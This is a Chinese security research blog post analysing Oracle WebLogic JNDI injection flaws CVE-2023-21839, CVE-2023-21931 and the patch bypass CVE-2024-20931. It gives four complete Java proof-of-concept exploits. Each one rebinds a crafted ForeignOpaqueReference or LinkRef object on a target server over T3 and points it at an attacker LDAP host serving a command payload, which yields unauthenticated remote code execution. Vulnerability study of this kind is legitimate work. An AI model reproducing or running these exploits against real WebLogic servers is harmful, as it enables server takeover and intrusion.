从CVE-2023-21839到CVE-2024-20931

前言

某天刷手机看到微信公众号上发布的漏洞通告 “Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)” 就联想到了WebLogic之前也存在过的JNDI注入漏洞,分别是CVE-2023-21839 和 CVE-2023-21931 。漏洞通告中说的是CVE-2023-21839的补丁绕过,于是就想看看绕过,学习学习,也回顾一下前面两个漏洞

远程绑定对象

Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看

// 创建远程对象
MyRemoteObject remoteObject = new MyRemoteObject();
// 获取上下文
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL, "t3://<server_ip>:<iiop_port>");
Context ctx = new InitialContext(env);
// 绑定对象到JNDI
ctx.rebind("myRemoteObject", remoteObject);
// 远程查找对象
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");

CVE-2023-21839

漏洞描述

当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

漏洞分析

在t3/iiop协议解析查找对象的过程中会调用weblogic.jndi.internal.WLNamingManagergetObjectInstance方法

image-20240221170346715

这个第一个参数boundObject是远程绑定的对象,如果这个对象继承或实现了OpaqueReference接口则会调用这个对象的getReferent()方法

漏洞利用的是weblogic.deployment.jms.ForeignOpaqueReference这个类

在这个类的getReferent()方法中实现了JNDI的初始化上下文和对象查询

image-20240221171006374

image-20240221171226078

如果可以控制这个类的this.jndiEnvironmentthis.remoteJNDIName就能造成JNDI注入

这个可以通过反射修改

ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";
remoteJNDIName.set(f, ldap);

最后poc如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.LinkRef;
public class Main {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.79.146:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ----------------- CVE-2023-21839
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";
        remoteJNDIName.set(f, ldap);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);
        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

CVE-2023-21931

漏洞分析

这个漏洞和CVE-2023-21839的差不多,区别在于weblogic.jndi.internal.WLNamingManagergetObjectInstance方法中

image-20240221172407635

该漏洞走的是另外一个分支,如果绑定的对象继承了LinkRef类则进入这个分支

看到下面的boundObject = ic.lookup(linkName) , 如果能控制这个linkName就可以造成JNDI注入了

跟进getLinkName()

image-20240221172902170

继续跟进getContent()

image-20240221172949510

可以看到这个contents是通过构造函数赋值的,是LinkRef构造函数中传入的linkName

image-20240221173040840

所有这个poc很简单

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.LinkRef;
public class Main {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.79.146:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        //LinkRef类使用
        LinkRef f = new LinkRef("ldap://192.168.1.12:1389/Basic/Command/calc");           //CVE-2023-21931

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

CVE-2024-20931

漏洞描述:

该漏洞为CVE-2023-21839的补丁绕过,未经身份验证的威胁者可通过 T3、IIOP 进行网络访问来破坏 Oracle WebLogic Server,成功利用该漏洞可能导致Oracle WebLogic Server被接管或未授权访问

受影响的支持版本包括:

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

漏洞分析

在补丁中,对weblogic.deployment.jms.ForeignOpaqueReference这个利用类的getReferent()方法进行了些许修改:

img

这里对这个java.naming.provider.url进行了检查(验签),检查不过则报错处理,不再往下运行。可以将其置空则会不进入判断继续往下运行

往下还能看到对remoteJNDIName的处理

img

这个JNDIUtils.isValidJndiScheme方法似乎绕不过

img

根据网传的POC,还是使用的是使用这个类

在这个补丁中还是能够正常的利用到这一步:

context = new InitialContext(this.jndiEnvironment);

这个this.jndiEnvironment可控,漏洞就是在这一步中触发

思路是在指定java.naming.factory.initial进行初始化的时候进行利用,指定的java.naming.factory.initialoracle.jms.AQjmsInitialContextFactory

在oracle.jms.AQjmsInitialContextFactory进行初始化的时候会new 一个AQjmsContext()对象,其中这个var1参数是可控的

image-20240221195229168

跟进查看

image-20240221195344224

这个构造函数会将Hashtable中的datasource,保存到this.dsLocation中,然后调用this.getDataSource()

image-20240221195503642

然后在这个方法中造成了JNDI注入,这样就不用再受前面说的this.remoteJNDIName的限制了

完整POC:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.LinkRef;
public class Main {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.79.146:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
        env2.put("datasource", "ldap://192.168.1.12:1389/Basic/Command/calc");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("glassy", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("glassy");
        } catch (Exception e) {
        }
    }
}

其他思考

CVE-2024-20931还是使用了和CVE-2024-20931一样的类weblogic.deployment.jms.ForeignOpaqueReference

回到weblogic.jndi.internal.WLNamingManagergetObjectInstance方法中

image-20240221172407635

是不是还能找到其他实现了OpaqueReference接口的利用类

然后找到weblogic.jndi.internal.ForeignOpaqueReference

乍一看以为是前面的weblogic.deployment.jms.ForeignOpaqueReference ,但是这个类比它简单很多

查看该类的getReferent()

public Object getReferent(Name name, Context ctx) throws NamingException {
        InitialContext context;
        if (this.jndiEnvironment == null) {
            context = new InitialContext();
        } else {
            Hashtable properties = this.decrypt();
            context = new InitialContext(properties);
        }

        Object retVal;
        try {
            retVal = context.lookup(this.remoteJNDIName);
        } finally {
            context.close();
        }

        return retVal;
    }

完美! 可用!

POC 如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
//import weblogic.deployment.jms.ForeignOpaqueReference; //CVE-2023-21839+CVE-2024-20931
import weblogic.jndi.internal.ForeignOpaqueReference;
import javax.naming.LinkRef;
import com.rsa.jsafe.JSAFE_InvalidUseException;
public class Main {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.79.146:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";
        ForeignOpaqueReference f = new ForeignOpaqueReference(ldap,env2);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);
        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

在我以为自己找到了新方法的时候,才发现漏洞作者已经提到过了,只是没有放POC

白高兴一场

我还找到这个类:weblogic.application.naming.MessageDestinationReference

在这个类的lookupMessageDestination()方法中也可以JNDI:

public Object lookupMessageDestination() throws NamingException {
        InitialContext ic;
        if (this.initialContextFactory == null) {
            ic = new InitialContext();
        } else {
            Hashtable<String, String> env = new Hashtable();
            env.put("java.naming.factory.initial", this.initialContextFactory);
            if (null != this.providerURL) {
                env.put("java.naming.provider.url", this.providerURL);
            }

            ic = new InitialContext(env);
        }

        return ic.lookup(this.jndiName);
    }

整个调用过程如下,但是不知道能不能利用,需要慢慢尝试

image-20240222122909545

经过一番尝试,不能利用这个调用过程,因为无法控制参数replacerList (或许能控制,只是我不懂),进而无法让其调用到weblogic.application.naming.MessageDestinationObjectFactorygetObjectInstance

image-20240223153204665

END